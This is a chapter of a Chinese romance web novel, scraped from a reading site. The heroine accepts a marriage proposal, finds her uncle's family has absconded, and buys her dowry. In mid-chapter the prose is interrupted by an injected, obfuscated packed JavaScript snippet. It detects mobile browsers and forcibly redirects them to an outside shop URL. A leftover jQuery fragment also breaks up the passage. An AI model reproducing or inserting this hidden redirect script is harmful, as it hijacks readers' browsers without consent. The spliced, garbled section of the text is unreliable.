文趣网 > 其他小说 > 汴京食肆日常 > 40. 第 40 章
    日子眨眼就到了十二月。

    汴京城的冬天该冷早就冷了,可今年邪门,第一场雪迟迟不肯落。

    天灰蒙蒙压着,风倒是刮得勤快,吹得街头巷尾的幌子哗哗响,路上行人都缩着脖子走,偏就不见半片雪花。

    夏昭垚的奶茶铺子倒是因为天冷,生意更好了几分。

    热乎乎一杯捧在手里,暖从掌心透到胃里,回头客越来越多,连城西那边都有人专门跑过来买。

    她正盘算着要不要再添两个伙计,阿福忽然跑来铺子,人还没进门,声音先到了。

    “夏姑娘!夏姑娘!大事!”

    夏昭垚手里正在封杯口,头也没抬:“你家公子被人打了?”

    “不是!”阿福喘着气冲进来,脸蛋冻得通红,“我家老爷夫人到了!从金陵来的!今儿一早进的城!”

    夏昭垚手一顿。

    封杯口的动作停在半空。

    “……什么?”

    阿福两手撑着膝盖喘匀了气,咧嘴笑:“我家老爷和夫人,就是公子的爹娘!到汴京了!带了好大一支车队,光箱笼就拉了六七车!”

    夏昭垚放下手里的杯子,慢慢直起腰。

    陆砚的爹娘来了?

    什么事?

    她心里其实有个模糊的答案,但那答案太大,她不敢轻易去碰。

    “公子让我来知会您一声,”阿福站直了,难得正经了半息,“说……您这几日在家候着,会有人来。”

    “什么人?”

    “媒人。”

    阿福说完这两个字,就笑得眼睛眯成了缝,一溜烟跑了,跑出去还回头喊了句。

    “恭喜恭喜啊!”

    夏昭垚站在铺子里,半天没动弹。

    春禾从后头探出头来:“姑娘?怎么了?”

    秋穗也凑过来,机灵劲上来了:“阿福说什么了?我听见媒人两个字!”

    夏昭垚回过神,抬手摸了摸自己的脸,烫的。

    “没什么,”她清了清嗓子,“干活。”

    两个丫鬟对视一眼,秋穗嘴角抽了抽,明摆着不信,但也没敢多嘴,乖乖缩回去了。

    夏昭垚在铺子里又待了一会儿,心思却怎么也收不拢,她索性直接回家去了。

    到家坐下来,倒了杯水,喝了一口,放下,又端起来。

    说不紧张是假的。

    她穿来这个世界快一年了,从最初的手足无措,到慢慢站稳脚跟,再到跟陆砚不知怎么就走到了一起。

    这中间太多事情发生得自然而然,自然到她有时会忘记,她在这个时代,是个无父无母的孤女。

    没有娘家撑腰,没有长辈操持,连个正经能商量事儿的亲戚都没有。

    如今人家爹娘亲自从金陵赶来,光排场就摆得足足的,她这边呢?

    一间小院,两个丫鬟,冷冷清清。

    夏昭垚叹了口气,把水杯重重搁下。

    算了,兵来将挡,该来总会来。

    三日后,两位穿紫褙子的媒人果然登了门。

    一胖一瘦,都是四五十岁的妇人,满脸堆笑,嘴甜得跟抹了蜜似的。

    进门先夸院子干净雅致,又夸夏昭垚模样好、气度好,再夸她独自操持家业、能干又贤惠。

    一番话说得花团锦簇,滴水不漏。

    夏昭垚客客气气请她们坐下,春禾端了茶,秋穗上了点心。

    胖媒人打开随身的锦盒,里头端端正正放着一张大红洒金帖子,是陆家的庚帖。

    “陆家老爷和夫人诚心诚意,特遣我二人前来,与夏姑娘换帖。”

    夏昭垚早就备好了自己的庚帖,这个是她前两天特意找人写的,按照这边的规矩,生辰八字写得清清楚楚。

    两张帖子交换。

    胖媒人接过去仔细看了,收好,笑得合不拢嘴:“好好好,大吉大利!陆家那边合过八字,再定吉日,到时候再来知会姑娘。”

    瘦媒人也跟着点头:“陆家是厚道人家,老爷夫人都和善得很,姑娘往后的日子,定然顺遂。”

    夏昭垚笑了笑,起身送客:“有劳两位。”

    媒人乐呵呵地走了,临出门还回头念叨了句什么“天造地设”。

    院门一关,夏昭垚站在原地,忽然觉得有点不真实。

    就……这么定了?

    她低头看看自己手里空荡荡的,庚帖已经给出去了。

    秋穗从屋里探出半个身子,眼睛亮晶晶的:“姑娘!那是不是说,您要嫁人了!”

    春禾拽了她一把:“小声点。”

    “嫁人怎么了,又不是丢人的事!”秋穗不服气。

    夏昭垚被她俩逗笑了,笑完之后,脑子一下清醒过来。

    嫁人。

    嫁妆。

    她还什么都没准备呢!

    “完了。”夏昭垚一拍额头。

    春禾和秋穗同时看过来。

    “嫁妆,”夏昭垚皱眉,在院子里来回走了两步,“我连嫁妆都还没置办。”

    春禾想了想:“姑娘,这事……要不要请个长辈帮着参详?”

    夏昭垚一愣,对啊,她可以去找二婶啊,二婶精明能干,又在大户人家当过管事,这种事情找她商量最合适不过。

    “走,去二叔家。”

    三人出了门,沿着巷子往南拐,走了两条街。

    夏昭垚站在二叔家门口,抬手正要拍门,忽然发觉门上贴的对联不对。

    那字迹陌生,纸也是新的,明显不是二叔家的东西。

    她愣了一下,又看了看门框旁的石墩,从前二婶在上面摆了盆兰草,现在换成了一只粗陶罐子,里头插着几根干巴巴的鸡冠花。

    不对。

    她退后一步,仔细辨认门牌,没错,是这里。

    门从里头打开,探出一张陌生妇人的脸,“找谁?”

    “我找——”夏昭垚的话噎住了,“这里原先住的夏家,搬走了?”

    妇人打量了她一眼:“你说那户木匠?早搬了,两个多月前的事。“

    “搬去哪儿了?“

    “不知道,”妇人摇头,“走得急,东西也没怎么收拾,房子转手也便宜,我才盘下来的。“

    夏昭垚脸上的笑收了,谢过那妇人,转身往回走,心里翻涌着说不上来的滋味。

    路过隔壁张婶家门口,正好张婶在门前择菜,看见她就招手。

    “哟,垚丫头!好久没见你了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873765|208642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “张婶,”夏昭垚站定,“您知道我二叔家搬去哪儿了吗?”

    张婶放下手里的菜,叹了口气,压低声音:“说出来也不好听……你二叔两口子,听说是发了主家的财,卷了一笔银子跑的。往南边去了,具体哪儿,谁也不清楚。”

    夏昭垚脑子嗡了一下。

    “发了主家的财?”

    “可不是嘛,”张婶一边说一边摇头,“你二叔老实巴交的,你二婶也利索,我是没想到。不过话说回来,人心隔肚皮,谁说得准呢?”

    张婶又感慨了几句,夏昭垚已经听不太进去了。

    她谢过张婶,带着两个丫鬟慢慢往回走。

    一路上都没说话。

    秋穗看了看春禾,两人都不敢先开口。

    走了好一会儿,夏昭垚才闷闷开口:“我之前还以为,是她那边不用拌菜了,所以才不联系。”

    春禾小心翼翼说:“姑娘别难过,也许……也许有什么隐情?”

    “不难过,”夏昭垚摇头,语气倒是平的,“就是没想到。”

    她确实没想到,二婶那个人,精明归精明,但做事一向有分寸,怎么会干出卷了主家银子跑路这种事?二叔夏柏年就更不用说了,那么个闷葫芦,老实得连多说句话都费劲,能干出这种事?

    可人已经走了,两个多月了,追也追不上。

    夏昭垚深吸了一口气,把那口气闷在胸口,半晌才吐出来。

    “算了,”她说,“靠人不如靠己。嫁妆的事,咱们自己来。”

    春禾和秋穗对视一眼,齐齐点头。

    第二天一早,三人就出了门。

    腊月的汴京城虽然冷,但街市热闹得很,年关将近,各家铺子都铆足了劲做生意,幌子挂得花花绿绿,吆喝声此起彼伏。

    夏昭垚先去了金银铺子。

    柜台后的掌柜看见她进来,热络得很,这位夏姑娘如今在这一片颇有些名气,开着奶茶铺子,谁不想做她的生意?

    “姑娘要看什么?”

    “成套的头面,”夏昭垚开门见山,“金的一套,银的一套,簪、钗、梳篦、耳坠、项链,一样不能少。”

    掌柜两眼放光,“好嘞!”

    一盘一盘端出来,赤金缠丝牡丹簪、银鎏金点翠钗、白玉梳篦、碧玺耳坠、金丝缠珠项链……摆了满满一柜台,在灯下熠熠生辉。

    夏昭垚挑得仔细,不是最贵的,但每一件做工都精细,花样不浮夸却耐看。春禾在旁边帮着参详,秋穗负责记账。

    头面选好,又去了瓷器铺子,订了一整套青白瓷茶具、碗碟、花瓶,外加两套漆器果盒、食盒。

    再去木器行,定了两对樟木箱笼,一只红漆妆奁柜,一只描金首饰匣。

    最后去布庄。

    夏昭垚在一排排布匹前走过去,手指拂过锦缎、绸绢、棉布,最后选了十匹棉布做日常衣裳,两匹细绢做里衣,两匹锦缎做出客袍子,两匹厚实的松江棉做被褥。

    四季衣裳要现赶工,她索性在布庄里多定了几身,又添了帐幔、绣品,加上被褥、枕套,零零总总一大堆。

    妆奁用具是最后买的,铜镜、梳子、胭脂盒、粉扑、剪刀、针线筐,一样一样往篮子里扔。